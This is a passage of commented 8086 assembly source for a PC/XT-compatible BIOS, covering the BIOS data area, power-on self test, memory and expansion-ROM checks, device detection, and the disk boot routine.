this support to any DOS, but you cannot boot from a high-density disk. ; ; * Cassette functions are not supported, also due to lack of ROM space. This only affects IBM PC ; 5150s or exact clones since XTs do not have a cassette port. ;--------------------------------------------------------------------------------------------------- ideal p8086 model tiny warn ;--------------------------------------------------------------------------------------------------- ; Macros ;--------------------------------------------------------------------------------------------------- ; Pad code to create entry point at specified address (needed for 100% IBM BIOS compatibility) macro entry addr pad = str_bios - $ + addr - 0E000h if pad lt 0 err 'No room for ENTRY point' endif if pad gt 0 db pad dup(090h) endif endm ; Force far jump macro jmpfar segm, offs db 0EAh; dw offs, segm endm ; Line feed and carriage return LF equ 0Ah CR equ 0Dh ;--------------------------------------------------------------------------------------------------- ; BIOS Data Area (BDA) ;--------------------------------------------------------------------------------------------------- assume ds:code, ss:code, cs:code, es:code segment data at 40h ; IBM compatible data structure dw 4 dup(?) ; 40:00 ; RS232 serial COM ports - up to four dw 4 dup(?) ; 40:08 ; Parallel LPT ports - up to four dw ? ; 40:10 ; Equipment present word ; Bits 15-14: Number of parallel ports ; 00b = 1 parallel port ; 01b = 2 parallel ports ; 10b = 3 parallel ports ; Bit 13: Reserved ; Bit 12: Game port adapter ; 0b = not installed ; 1b = installed ; Bits 11-9: Number of serial ports ; 000b = none ; 001b = 1 serial port ; 010b = 2 serial ports ; 011b = 3 serial ports ; 100b = 4 serial ports ; Bit 8: Reserved ; Bits 7-6: Number of floppy drives ; 00b = 1 floppy drive ; 01b = 2 floppy drives ; 10b = 3 floppy drives ; 11b = 4 floppy drives ; Bits 5-4: Initial video mode ; 00b = EGA/VGA ; 01b = color 40x25 ; 10b = color 80x25 ; 11b = monochrome 80x25 ; Bit 3-2: System board RAM ; 00b = 16K ; 01b = 32K ; 10b = 48K ; 11b = 64K (default) ; Bit 1: Math coprocessor ; 0b = not installed ; 1b = installed ; Bit 0: Boot floppy ; 0b = not installed ; 1b = installed db ? ; 40:12 ; Expansion ROM(s) present flag dw ? ; 40:13 ; Memory size, kilobytes db ? ; 40:15 ; IPL errors<-table/scratchpad db ? ; ...unused ;------------------------------------------------ Keyboard Data Area db ?, ? ; 40:17 ; Shift/Alt/etc. keyboard flags db ? ; 40:19 ; Alt-KEYPAD char. goes here dw ? ; 40:1A ; --> keyboard buffer head dw ? ; 40:1C ; --> keyboard buffer tail dw 16 dup(?) ; 40:1E ; Keyboard Buffer (Scan,Value) ;------------------------------------------------ Diskette Data Area db ? ; 40:3E ; Drive Calibration bits 0 - 3 db ? ; 40:3F ; Drive Motor(s) on 0-3,7=write db ? ; 40:40 ; Ticks (18/sec) til motor off db ? ; 40:41 ; Floppy return code stat byte ; 1 = bad IC 765 command request ; 2 = address mark not found ; 3 = write to protected disk ; 4 = sector not found ; 8 = data late (DMA overrun) ; 9 = DMA failed 64K page end ; 16 = bad CRC on floppy read ; 32 = bad NEC 765 controller ; 64 = seek operation failed ;128 = disk drive timed out db 7 dup(?) ; 40:42 ; Status bytes from NEC 765 ;------------------------------------------------ Video Display Area db ? ; 40:49 ; Current CRT mode (software) ; 0 = 40 x 25 text (no color) ; 1 = 40 x 25 text (16 color) ; 2 = 80 x 25 text (no color) ; 3 = 80 x 25 text (16 color) ; 4 = 320 x 200 graphics 4 color ; 5 = 320 x 200 graphics 0 color ; 6 = 640 x 200 graphics 0 color ; 7 = 80 x 25 text (mono card) dw ? ; 40:4A ; Columns on CRT screen dw ? ; 40:4C ; Bytes in the regen region dw ? ; 40:4E ; Byte offset in regen region dw 8 dup(?) ; 40:50 ; Cursor pos for up to 8 pages dw ? ; 40:60 ; Current cursor mode setting db ? ; 40:62 ; Current page on display dw ? ; 40:63 ; Base addres (B000h or B800h) db ? ; 40:65 ; IC 6845 mode register (hardware) db ? ; 40:66 ; Current CGA palette ;------------------------------------------------ Used to setup ROM dw ?, ? ; 40:67 ; Eprom base Offset,Segment db ? ; 40:6B ; Last spurious interrupt IRQ ;------------------------------------------------ Timer Data Area dw ? ; 40:6C ; Ticks since midnite (lo) dw ? ; 40:6E ; Ticks since midnite (hi) db ? ; 40:70 ; Non-zero if new day ;------------------------------------------------ System Data Area db ? ; 40:71 ; Sign bit set iff break dw ? ; 40:72 ; Warm boot iff 1234h value ;------------------------------------------------ Hard Disk Scratchpad dw ?, ? ; 40:74 ;------------------------------------------------ Timout Areas/PRT/LPT db 4 dup(?) ; 40:78 ; Ticks for LPT 1-4 timeouts db 4 dup(?) ; 40:7C ; Ticks for COM 1-4 timeouts ;------------------------------------------------ Keyboard Buffer Start/End dw ? ; 40:80 ; Contains 1Eh, buffer start dw ? ; 40:82 ; Contains 3Eh, buffer end ends data ;--------------------------------------------------------------------------------------------------- ; Segment Definitions ;--------------------------------------------------------------------------------------------------- segment dos_dir at 50h ; Boot disk directory from IPL label copy byte ; 0 if Print Screen idle ; 1 if PrtScr copying screen ; 255 if PrtScr error in copy ; (non-graphics PrtScr in BIOS) db 200h dup(?) ; PC-DOS bootstrap procedure ; IBMBIO.COM buffers the directory of the boot ; device here at IPL time when locating the guts ; of the operating system (IBMDOS.COM/MSDOS.SYS) ends dos_dir segment dos_seg at 70h ; "Kernel" of DOS ; IBMBIO.COM (or IO.SYS) file loaded by boot block. Device Drivers/Bootstrap. ; IBMDOS.COM (or MSDOS.SYS) operating system kernel immediately follows IBMBIO.COM and ; doesn't have to be contiguous. The DOS kernel binary image is loaded by transient code ; in the IBMBIO binary image. ends dos_seg segment ipl_seg at 0h ; Segment for boot block ; The following boot block is loaded with 512 bytes of the first sector of the bootable ; device by code resident in the ROM BIOS. Control is then transferred to the first word ; 0000:7C00 of the disk-resident bootstrap. org 07C00h ; Offset for boot block boot db 200h dup(?) ; Start disk resident boot ends ipl_seg ;--------------------------------------------------------------------------------------------------- ; ROM BIOS ;--------------------------------------------------------------------------------------------------- segment code org 0E000h ; 8K ROM BIOS starts at F000:E000 str_bios db 'PCXTBIOS', 0 str_ega_vga db 195, ' EGA/VGA Graphics', 0 str_parallel db 195, ' Parallel Port at ', 0 str_game db 195, ' Game Port at 201h', 0 ;--------------------------------------------------------------------------------------------------- ; BIOS Power-On Self Test (POST) ;--------------------------------------------------------------------------------------------------- entry 0E05Bh ; IBM restart entry point proc post near warm_boot: ; Entered by POWER_ON/RESET cli ; Disable interrupts ifdef TEST_CPU jmp cpu_test ; Test CPU endif cpu_ok: cld mov al, 0 ; Prepare to initialize out 0A0h, al ; no NMI interrupts mov dx, 3D8h ; Load Color Graphic port out dx, al ; no video display mov dl, 0B8h ; Load Monochrome port inc al ; no video display out dx, al ; write it out mov al, 10011001b ; Program 8255 PIA chip out 63h, al ; Ports A & C, inputs ifdef TURBO_ENABLED mov al, 10100101b ; Set (non)turbo mode out 61h, al ; on main board endif mov al, 01010100b ; IC 8253 inits memory refresh out 43h, al ; chan 1 pulses IC 8237 to mov al, 12h ; DMA every 12h clock ticks out 41h, al ; 64K done in 1 millisecond mov al, 01000000b ; Latch value 12h in 8253 clock out 43h, al ; chip channel 1 counter @@init_dma: mov al, 0 ; Do some initialization out 81h, al ; DMA page reg, chan 2 out 82h, al ; DMA page reg, chan 3 out 83h, al ; DMA page reg, chan 0,1 out 0Dh, al ; Stop DMA on 8237 chip mov al, 01011000b ; Refresh auto-init dummy read out 0Bh, al ; on channel 0 of DMA chip mov al, 01000001b ; Block verify out 0Bh, al ; on channel 1 of DMA chip mov al, 01000010b ; Block verify out 0Bh, al ; on channel 2 of DMA chip mov al, 01000011b ; Block verify out 0Bh, al ; on channel 3 of DMA chip mov al, 0FFh ; Refresh byte count out 1, al ; send lo order out 1, al ; send hi order inc ax ; Initialize 8237 command reg out 8, al ; with zero out 0Ah, al ; Enable DMA on all channels mov al, 00110110b ; Set up 8253 timer chip out 43h, al ; chan 0 is time of day mov al, 0 ; Request a divide by out 40h, al ; 65536 decimal out 40h, al ; 0000h or 18.2 tick/sec mov dx, 213h ; Expansion unit port inc ax ; enable it out dx, al ; do the enable mov ax, 40h ; Get BIOS data area segment mov ds, ax ; into ds register mov si, [ds:72h] ; Save reset flag in si reg xor ax, ax ; cause memory check mov bp, ax ; will clobber the flag mov bx, ax ; Start at segment 0000h mov dx, 55AAh ; get pattern cld ; Strings auto-increment ifdef ENABLE_EXPANSION @@enable_extender_card: mov dx, 0213h ; ENABLE EXPANSION BOX mov al, 01h out dx, al endif @@find_mem_size: xor di, di ; Location XXXX:0 mov es, bx ; load segment mov [es:di], dx ; write pattern cmp dx, [es:di] ; compare jnz @@done_mem_size ; failed, memory end mov cx, 2000h ; Else zero 16 kilobytes rep stosw ; with instruction add bh, 4 ; get next 16K bytes ifdef MAX_MEMORY cmp bh, MAX_MEMORY shr 2 ; Found max legal user ram? else cmp bh, 0A0h ; Found max legal IBM ram? endif jb @@find_mem_size ; no, then check more @@done_mem_size: xor ax, ax mov es, ax ; es = vector segment mov ss, ax ; Use 0000:0900 instead of 0080:0100 mov sp, 900h ; for temporary stack to save some bytes push bp push bx ifdef CLEAR_UMA ; Clear non-EMS UMBs if they call clear_upper_memory ; exist to prevent parity errors endif mov bp, 2 call mem_test ; Memory check es:0 - es:0400 mov [ds:72h], si ; Restore reset flag pop ax mov cl, 6 shr ax, cl mov [ds:13h], ax ; ax = memory size in KB pop ax jnb @@vector_ram_ok or al, error_mem ; Show vector area bad @@vector_ram_ok: mov [ds:15h], al ; Save IPL error code xor ax, ax push ax push ax push ax push ax push ax mov al, 30h ; Set up IBM-compatible stack mov ss, ax ; segment 0030h mov sp, 100h ; offset 0100h push ds ; ds = 40h mov bx, 0E000h ; Check BIOS eprom push cs pop ds ; at F000:E000 mov ah, 1 call checksum ; for valid checksum pop ds ; restore BDA<-ds jz @@init_int or [byte ds:15h], error_bios ; Checksum error BIOS eprom @@init_int: cli ; Init interrupt controller mov al, 13h out 20h, al mov al, 8 out 21h, al mov al, 9 out 21h, al mov al, 0FFh out 21h, al push ds ; ds = 40h xor ax, ax ; 8 nonsense vectors begin table mov es, ax ; at segment 0000h push cs pop ds mov cx, 8 ; Vectors 00h - 07h unused xor di, di ; we start at vec 00h @@low_vectors: mov ax, offset ignore_int ; Nonsense interrupt from RSX stosw mov ax, cs ; BIOS ROM segment stosw loop @@low_vectors mov si, offset vectors ; si --> Vector address table mov cl, 18h ; vectors 08h - 1Fh busy @@high_vectors: movsw ; Set interrupt vector offset mov ax, cs stosw ; Set interrupt vector segment (BIOS segment) loop @@high_vectors mov ah, 0F6h ; ax --> ROM BASIC segment mov ds, ax ; ds --> " " " xor bx, bx ; bx = ROM BASIC offset mov ah, 4 ; Four BASIC ROMs to check @@basic_rom: mov dx, [bx] cmp dl, dh ; Check for code in the segment je @@no_basic ; Skip if memory is empty cmp dx, 0AA55h ; Check for expansion ROM in BASIC area je @@no_basic ; Skip further checking if found call checksum ; Scan for BASIC roms jnz @@no_basic ; bad BASIC rom dec ah ; Continue jnz @@basic_rom ; yes, more mov di, 60h ; Else install BASIC xor ax, ax ; 0000h BASIC interrupt offset stosw mov ah, 0F6h ; F600h BASIC interrupt segment stosw @@no_basic: pop ds ; Setup special low vectors xor dx, dx mov [word es:8], offset int_2 ; NMI interrupt mov [word es:14h], offset int_5 ; print screen interrupt mov [word es:7Ch], dx ; No special graphics characters mov [word es:7Eh], dx ; so zero vector 1Fh mov dl, 61h in al, dx ; Read machine flags or al, 00110000b ; clear old parity error out dx, al ; Write them back to reset and al, 11001111b ; enable parity out dx, al ; Write back, parity enabled mov al, 80h ; allow NMI interrupts out 0A0h, al mov ax, 0000000000110000b ; Assume monochrome video mov [ds:10h], ax ; card has been installed int 10h ; initialize if present mov ax, 0000000000100000b ; Assume color/graphics video mov [ds:10h], ax ; card has been installed int 10h ; initialize if present ifdef IBM_PC ; Read 5150 switch config mov al, 0CCh out dx, al ; Reset keyboard in al, 60h ; Read config switches else ; Read 5160 switch config in al, 62h ; Get memory size (64K bytes) and al, 00001111b ; in bits 2,3 low nibble mov ah, al ; Save memory size nibble mov al, 10101101b out dx, al in al, 62h ; Get number of floppies (0-3) mov cl, 4 ; and init video mode shl al, cl ; shift in hi nibble or al, ah endif mov ah, 0 mov [ds:10h], ax ; Start building Equipment Flag and al, 00110000b ; if video card, mode set jnz @@video_found ; found video interface mov ax, offset dummy_int ; No hardware or EGA/VGA, dummy_int mov [es:40h], ax ; becomes int_10 video service jmp short @@skip_video @@video_found: call video_init ; Setup video @@skip_video: mov al, 00001000b ; Read low switches out dx, al mov cx, 2956h @@keyb_delay: loop @@keyb_delay mov al, 11001000b ; Keyboard acknowledge out dx, al ; send the request xor al, 10000000b ; Toggle to enable out dx, al ; send key enable mov ax, 1Eh ; Offset to buffer start mov [ds:1Ah], ax ; Buffer head pointer mov [ds:1Ch], ax ; Buffer tail pointer mov [ds:80h], ax ; Buffer start add al, 20h ; size mov [ds:82h], ax ; Buffer end mov ax, 1414h ; Time-out value seconds mov [ds:78h], ax ; LPT1 mov [ds:7Ah], ax ; LPT2 mov ax, 101h ; Time-out value seconds mov [ds:7Ch], ax ; COM1 mov [ds:7Eh], ax ; COM2 mov si, offset lpt_ports ; si --> LPT port table xor di, di ; offset into data seg mov cl, 3 ; number of printers @@next_lpt: mov dx, [cs:si] ; Get LPT port mov al, 10101010b ; write value out dx, al ; to the LPT mov al, 11111111b ; Dummy data value out 0C0h, al ; on the bus in al, dx ; Read code back cmp al, 10101010b ; check code jnz @@no_lpt ; no printer found mov [di+8], dx ; Save printer port inc di inc di @@no_lpt: inc si inc si loop @@next_lpt mov ax, di ; Number of printers * 2 mov cl, 3 ; get shift count ror al, cl ; divide by eight mov [ds:11h], al ; save in equipment flag xor di, di ; COM port(s) at 40:00 (hex) @@com_1: mov dx, 3FBh ; COM #1 line control reg. mov al, 00011010b ; 7 bits, even parity out dx, al ; Reset COM #1 line cont. reg mov al, 11111111b ; noise pattern out 0C0h, al ; Write pattern on data buss in al, dx ; read result from COM #1 cmp al, 00011010b ; Check if serial port exists jnz @@com_2 ; skip if no COM #1 port mov [word di], 3F8h ; Else save port # in BDA inc di ; potential COM #2 port inc di ; is at 40:02 (hex) @@com_2: mov dx, 2FBh ; COM #2 line control reg mov al, 00011010b ; 7 bits, even parity out dx, al ; Reset COM #2 line cont. reg mov al, 11111111b ; noise pattern out 0C0h, al ; Write pattern on data bus in al, dx ; read results from COM #2 cmp al, 00011010b ; Check if serial port exists jnz @@com_done ; skip if no COM #2 port mov [word di], 2F8h ; Else save port # in BDA inc di ; total number of serial inc di ; interfaces times two @@com_done: mov ax, di ; Get serial interface count or [ds:11h], al ; equipment flag mov cl, 100 ; Check for game port 100 times mov dx, 201h @@check_game: in al, dx ; Anything there? cmp al, 0FFh jne @@found_game ; Yep, game port is present dec cx ; Otherwise keep polling jcxz @@game_done ; Countdown is zero; no game port jmp @@check_game @@found_game: or [byte ds:11h], 00010000b ; Set flag in equipment word @@game_done: call fpu_check ; Check for FPU mov bx, [ds:72h] ; Save warm boot flag push bx ; (Some ROM inits may trash it) push ds ifdef TURBO_ENABLED ifdef TURBO_BOOT ; If defined enable turbo speed at bootup in al, 61h ; Read equipment flags xor al, 00001100b ; toggle speed out 61h, al ; Write new flags back endif endif ifdef ROM_START mov dx, ROM_START ; ROM segment start else mov dx, 0C000h endif @@find_rom: mov ds, dx ; Load ROM segment jmp short @@continue ; Jump over old int 2 location cold_boot: xor ax, ax ; Force cold boot mov ds, ax mov [ds:472h], ax ; Show data areas not init jmp warm_boot ifdef WARM_BOOT_BASIC str_no_basic db 'No ROM BASIC, booting from disk...', 0 endif ;----------------------------------------------- ; IBM PC 5150 offset for int 2 (NMI) ;----------------------------------------------- entry 0E2C3h jmp int_2 ; Jump to new int 2 at IBM XT 5160 offset @@continue: xor bx, bx ; ID offset cmp [word bx], 0AA55h ; Check the ROM ID jnz @@next_rom ; not valid ROM mov ax, 40h mov es, ax mov al, [bx+2] ; Get ROM size (bytes * 512) mov cl, 5 shl ax, cl ; Now ROM size in segments add dx, ax ; add base segment mov cl, 4 shl ax, cl ; ROM address in bytes mov cx, ax ; checksum requires cx call checksum_entry ; Find ROM checksum jnz @@bad_rom ; bad ROM push dx ; Save ROM search segment mov [byte es:12h], 1 ; Set expansion ROM found flag mov [word es:67h], 3 ; Offset for ROM being setup mov [es:69h], ds ; Segment for ROM being setup call [dword es:67h] ; call ROM initialization pop dx ; Restore ROM search segment jmp short @@continue_rom @@bad_rom: or [byte es:15h], error_rom ; ROM present, bad checksum @@next_rom: add dx, 80h ; Segment for next ROM @@continue_rom: ifdef ROM_END cmp dx, ROM_END ; End of ROM space? else cmp dx, 0FE00h endif jl @@find_rom ; no, continue pop ds pop bx mov [ds:72h], bx ; Restore warm boot flag in al, 21h ; Read 8259 interrupt mask and al, 10111100b ; enable IRQ (0, 1, 6) ints out 21h, al ; (tod_clock, key, floppy_disk) ifdef ROM_DELAY xor bx, bx cmp [ds:12h], bl ; Were any expansion ROMs found? je @@no_roms ; skip delay if not mov es, bx mov bl, ROM_DELAY * 18 ; Ticks to pause at 18.2 Hz call delay_keypress ; Delay after expansion ROM inits endif @@no_roms: mov ah, 12h ; Test for EGA/VGA mov bx, 0FF10h int 10h ; Video Get EGA Info cmp bh, 0FFh ; If EGA or later present BH != FFh je @@not_ega and [byte ds:10h], 11001111b ; Set video flag in equipment list to EGA/VGA jmp short @@skip_video_test @@not_ega: ifdef TEST_VIDEO mov al, [ds:49h] ; Get the video mode call video_mem_test ; Do video memory test call video_init ; Reinit video after test endif @@skip_video_test: mov ah, 1 mov ch, 0F0h int 10h ; Set cursor type call clear_screen ; clear display ifdef ENHANCED_KEYB mov [byte ds:96h], 00010000b ; Set flag to indicate enhanced keyboard endif cmp [word ds:72h], 1234h ; BIOS setup before? push ds pop es ; ES = DS (BDA, 0040h) push cs pop ds ; DS = CS (ROM, FE00h) jne @@config ; No, it's a cold boot @@skip_config: mov bh, -3 ; Position cursor at row 0 for boot BASIC message jmp do_boot ; Else it's a warm boot @@config: test [byte es:15h], 11111111b ; Any errors so far? jz @@no_errors ; no, skip mov ax, 0300h print_error: call locate mov si, offset str_error call print ; Print string mov al, [es:15h] ; get error number call number ; print hex value mov si, offset str_continue call print ; print prompt mov bl, 2 ; long beep call beep call get_key ; Wait for keypress push ax ; save answer call out_char ; echo answer pop ax ; get answer cmp al, 'Y' ; Was it "Y"? jz @@ignore_error ; ok, continue cmp al, 'y' ; Was it "y"? jz @@ignore_error ; ok, continue jmpfar 0F000h, cold_boot ; Else cold reset @@ignore_error: mov [byte es:15h], 0 ; User wants to ignore error call clear_screen jmp @@config @@no_errors: mov ax, 0300h ; Where to move cursor call locate ; Position cursor call display_cpu ; Display CPU type mov si, offset str_mono ; Assume mono video mov ax, 0407h call locate mov al, [es:49h] ; Get CRT mode cmp al, 7 ; Is it mono? jz @@display_video ; Yes mov al, [es:10h] ; Check equipment word and al, 00110000b ; Is it EGA/VGA? jnz @@is_cga ; No, we have CGA mov si, offset str_ega_vga ; Otherwise we have EGA/VGA jmp short @@display_video @@is_cga: mov si, offset str_cga @@display_video: call print ; Print video adapter present mov bx, 0507h ifdef ENABLE_EXPANSION @@check_expansion: call expansion_check ; IBM 5161 Expansion Chassis test endif mov al, [es:11h] ; Get equipment byte push ax mov cl, 6 ror al, cl and al, 3 ; Number of LPT ports jz @@display_com_ports ; Skip if none mov bp, 8 mov si, offset str_parallel call formatted_ascii_output ; Formatted ASCII output @@display_com_ports: pop ax push ax mov si, offset str_serial ror al, 1 ; Check for COM ports and al, 3 jz @@display_game_port ; Skip if none xor bp, bp call formatted_ascii_output ; Formatted ASCII output @@display_game_port: pop ax ; Equipment byte restore mov si, offset str_game test al, 00010000b ; Check for game port jz @@display_clock ; Skip if none mov ax, bx call locate ; Position cursor call print ; and print string inc bh ; scroll line @@display_clock: call clock_check ; Check for clock device jb @@finish_device_list ; Skip if none mov ax, bx call locate ; Position cursor inc bh mov si, offset str_clock call print @@finish_device_list: dec bh mov bl, 7 mov ax, bx call locate ; Correct line drawing character mov si, offset str_last_line ; displayed for last device call print ; on BIOS config screen mov bx, 0h mov ax, bx ; Where to position cursor call locate ; position cursor mov si, offset str_ram_test ; Memory size string call print ; print string push es mov bp, [es:13h] ; Memory size (1 K blocks) dec bp dec bp mov si, 2 mov dx, si mov ax, 80h mov es, ax add bl, 0Dh push bx @@mem_count: pop ax ; Cursory check of memory push ax mov cx, es cmp bp, 1 ; Always show final memory size je @@last_time test cx, 0000000111111111b ; Only print memory size every 8K jz @@show_mem_size xor ch, ch ; If ch is cleared memory size isn't printed @@show_mem_size: dec dx @@last_time: call locate ; Position cursor call print_mem_kb ; Print size in K inc dx call mem_test ; Memory check es:0 - es:0400 jb @@bad_ram ; bad RAM found (How ???) dec bp jnz @@mem_count pop bx pop es ; es = BDA seg mov ax, 1Eh ; Flush keyboard buffer in case user mov [es:1Ah], ax ; was mashing keys during memory test mov [es:1Ch], ax ifdef WARM_BOOT_BASIC do_boot: call boot_basic ; Boot BASIC if space pressed endif ifndef WARM_BOOT_BASIC do_boot: endif mov bl, 1 ; Do a warm boot call beep ; short beep call clear_screen ; clear display xor ax, ax mov ds, ax mov [word ds:472h], 1234h ; Show cold start done mov ah, 1 mov cx, 0B0Ch ; Set underline cursor mono cmp [byte ds:449h], 7 ; Get CRT mode jz @@is_mono ; monochrome mov cx, 607h ; Set underline cursor color @@is_mono: int 10h ; Set the correct cursor shape int 19h ; Boot the machine @@bad_ram: dec bp pop bx pop es or [byte es:15h], error_ram ; Show "Bad RAM" error inc bh inc bh xor bl, bl mov ax, bx jmp print_error endp post ;-------------------------------------------------------------------------------------------------- ; Display character ;-------------------------------------------------------------------------------------------------- proc out_char near push bx push ax mov ah, 0Eh ; Teletype print service mov bl, 7 ; normal intensity int 10h pop ax pop bx ret endp out_char ;-------------------------------------------------------------------------------------------------- ; Display null-terminated string (si) ;-------------------------------------------------------------------------------------------------- proc print near @@loop: lodsb ; Print zero terminated string or al, al ; Terminator in ax? jz @@done call out_char ; Print character in ax jmp @@loop ; back for more @@done: ret endp print ;-------------------------------------------------------------------------------------------------- ; Positions display cursor ;-------------------------------------------------------------------------------------------------- proc locate near push dx push bx mov dx, ax ; Get position for cursor mov ah, 2 mov bh, 0 ; page 0 int 10h pop bx pop dx ret endp locate ;-------------------------------------------------------------------------------------------------- ; Display value in al as 2-character ASCII hex number ;-------------------------------------------------------------------------------------------------- proc number near push ax ; Save number mov cl, 4 shr al, cl call digit ; Out first digit pop ax call digit ; Out second digit ret endp number ;-------------------------------------------------------------------------------------------------- ; Display value in ax as 3-character ASCII hex number ;-------------------------------------------------------------------------------------------------- proc big_number near push ax ; Unsigned word mov al, ah call digit big_number_entry: pop ax call number ret endp big_number ;-------------------------------------------------------------------------------------------------- ; Display value in ax as 4-character ASCII hex number ;-------------------------------------------------------------------------------------------------- proc double_number push ax ; Unsigned word mov al, ah call number jmp big_number_entry endp double_number ;--------------------------------------------------------------------------------------------------- ; Displays string (si) with port number (al) converted to ASCII hex ;--------------------------------------------------------------------------------------------------- proc formatted_ascii_output near mov dl, al ; Formatted ASCII output @@loop: mov ax, bx ; Get position for call locate ; cursor routine push si ; Get string address call print ; print string mov ax, [es:bp+0] ; Get port # to print call big_number ; four digits mov si, offset str_h call print pop si ; Restore string address inc bp ; Address of port inc bp ; is two bytes long inc bh ; down one line dec dl ; Decrement device count jnz @@loop ; back for more ret endp formatted_ascii_output ;--------------------------------------------------------------------------------------------------- ; Increase memory size and display size if ch=0. Called during memory test at bootup. ;--------------------------------------------------------------------------------------------------- proc print_mem_kb near clc ; Clear carry flag mov al, dl ; Size "checked" inc al ; Show more daa mov dl, al jnb @@skip_carry mov al, dh ; Do carry adc al, 0 daa mov dh, al @@skip_carry: cmp ch, 0 jz @@done mov al, dh call digit ; Print hex digit mov al, dl mov cl, 4 ror al, cl call digit ; Print hex digit mov al, dl call digit ; Print hex digit @@done: ret endp print_mem_kb ;--------------------------------------------------------------------------------------------------- ; Display CPU present in system (8088 or V20) ;--------------------------------------------------------------------------------------------------- proc display_cpu near mov si, offset str_system call print call cpu_check call print mov si, offset str_no_fpu test [byte es:10h], 00000010b jz @@no_fpu mov si, offset str_8087 @@no_fpu: call print ret endp display_cpu ;--------------------------------------------------------------------------------------------------- ; Detect if a FPU/NPU (8087) is present ;--------------------------------------------------------------------------------------------------- proc fpu_check near ; Test for FPU fninit ; Try to init FPU mov si, 0200h mov [byte si+1], 0 ; Clear memory byte fnstcw [word si] ; Put control word in memory mov ah, [si+1] cmp ah, 03h ; If ah is 03h, FPU is present jne @@no_8087 or [byte ds:10h], 00000010b ; Set FPU in equp list ret @@no_8087: and [byte ds:10h], 11111101b ; Set no FPU in equp list ret endp fpu_check ;--------------------------------------------------------------------------------------------------- ; Check for presence of hardware clock (cf=0 if clock present) ;--------------------------------------------------------------------------------------------------- proc clock_check near cli mov dx, 2C1h ; Check for clock at base port 2C0h in al, dx ; read BCD seconds/100 cmp al, 99h ; Are BCD digits in range? jbe @@found ; yes, RTC found mov dl, 41h ; Check for clock at base port 240h in al, dx ; read BCD seconds/100 cmp al, 99h ; Are BCD digits in range? jbe @@found ; yes, RTC found mov dh, 03h ; Check for clock at base port 340h in al, dx ; read BCD seconds/100 cmp al, 99h ; Are BCD digits in range? jbe @@found ; yes, RTC found @@not_found: sti stc ret @@found: sti clc ret endp clock_check ;-------------------------------------------------------------------------------------------------- ; 8-bit checksum ;-------------------------------------------------------------------------------------------------- proc checksum near mov cx, 2000h ; Bytes in 2764 eprom checksum_entry: mov al, 0 ; zero checksum @@loop: add al, [bx] ; Add byte to checksum inc bx ; bx --> next byte loop @@loop ; loop until done or al, al ; Set condition codes ret ; and return endp checksum ;-------------------------------------------------------------------------------------------------- ; Give user option to boot ROM BASIC if present, otherwise display "No ROM BASIC" message ;-------------------------------------------------------------------------------------------------- ifdef WARM_BOOT_BASIC proc boot_basic near xor cx, cx mov es, cx mov ch, [es:63h] ; Get int 18h (BASIC) segment in cx xor bl, bl add bh, 3 mov ax, bx call locate ; Locate cursor mov si, offset str_no_basic ; Assume no BASIC xor dl, dl cmp ch, 0F6h ; If ROM BASIC is present segment will be F600h jne @@skip ; No BASIC mov si, offset str_boot_basic ; ROM BASIC present inc dl @@skip: call print ; Display "No BASIC" or "Boot BASIC" message mov bx, BOOT_DELAY * 18 ; Get ticks to pause at 18.2 Hz call delay_keypress cmp al, ' ' ; Was the keystroke a space? je @@basic ; Yes, boot BASIC ret ; Otherwise return @@basic: int 18h ; Boot ROM BASIC endp boot_basic endif ;--------------------------------------------------------------------------------------------------- ; Initial Program Load. Tries to boot from floppy first, then hard drive (external BIOS required ; for hard drive). If both fail ROM BASIC is run if present. ;--------------------------------------------------------------------------------------------------- entry 0E600h proc ipl near sti ; Enable interrupts xor ax, ax mov ds, ax mov [word ds:78h], offset int_1E ; Get disk parameter table mov [ds:7Ah], cs ; save segment mov al, 6 ; Try up to 6 times (4 floppy, 2 hard) @@retry: push ax ; Save retry count xor dx, dx ; Assume floppy drive cmp al, 2 ; Tries above 2? ja @@try ; Yes, use floppy or dl, 10000000b ; Otherwise set bit 7 to use hard drive @@try: push dx ; Save drive number mov ah, 0 int 13h ; Reset drive pop dx ; Restore drive number jb @@failed xor ax, ax mov es, ax ; Segment 0 mov ax, 0201h ; One sector read mov bx, 7C00h ; offset 7C00 mov cl, 1 ; sector 1 mov ch, 0 ; track 0 int 13h jb @@failed jmpfar 0000h, 7C00h ; Call the boot block @@failed: pop ax ; Get retries dec al ; one less jnz @@retry ifndef RETRY_DISK or ah, ah ; Disk present? jnz @@disk_error ; yes endif @@no_disk: push cs pop ds mov si, offset str_insert_disk ; Load disk message call print ; and print string call get_key ; wait for keypress mov ax, 0FF06h ; Reset retry count jmp @@retry ; and retry ifndef RETRY_DISK @@disk_error: xor ax, ax mov ds, ax mov al, [ds:63h] cmp al, 0F6h ; Check for valid ROM basic segment jne @@no_disk ; No ROM basic found, keep retrying disk int 18h ; else call ROM basic endif endp ipl ;--------------------------------------------------------------------------------------------------- ; Test CPU. If any error is detected the system is halted. ;--------------------------------------------------------------------------------------------------- ifdef TEST_CPU proc cpu_test near xor ax, ax ; Begin FLAG test of CPU jb @@halt jo @@halt js @@halt jnz @@halt jpo @@halt add ax, 1 jz @@halt jpe @@halt sub ax, 8002h js @@halt inc ax jno @@halt shl ax, 1 jnb @@halt jnz @@halt shl ax, 1 jb @@halt mov bx, 0101010101010101b ; Begin REGISTER test of CPU @@cpu_test: mov bp, bx mov cx, bp mov sp, cx mov dx, sp mov ss, dx mov si, ss mov es, si mov di, es mov ds, di mov ax, ds cmp ax, 0101010101010101b jnz @@cpu_1 not ax mov bx, ax jmp @@cpu_test @@cpu_1: xor ax, 1010101010101010b jnz @@halt jmp cpu_ok @@halt: hlt endp cpu_test endif ;--------------------------------------------------------------------------------------------------- ; Int 9h Enhanced Keyboard Support. Intercepts and processes escaped scan codes (E0 prefix) and ; "fake" shifts before the standard Int 9h handler. ;--------------------------------------------------------------------------------------------------- ifdef ENHANCED_KEYB proc int_9_enhanced near cmp al, 0E0h ; Is scan code E0? jne @@continue ; No or bl, 00000010b ; Set flag to indicate last scan code was E0h @@ignore: pop cx mov dx, offset int_9_end ; Skip the standard Int 9h push dx jmp short @@done @@continue: cmp al, 57h ; F11 pressed? je @@F11_F12 cmp al, 58h ; F12 pressed? je @@F11_F12 test bl, 00000010b ; Was last scan code E0h? jz @@done ; No and bl, 11111101b ; Clear flag to indicate last scan code wasn't E0h cmp al, 0AAh ; Check for escaped key up code jne @@not_ext_up mov al, bh ; If it is, get last escaped key down code or al, 10000000b ; Set high bit to convert to key up mov ah, al ; Save copy @@not_ext_up: mov bh, al ; Save current escaped scan code mov cl, al ; Ignore all fake shifts and cl, 01111111b cmp cl, 02Ah je @@ignore cmp cl, 036h je 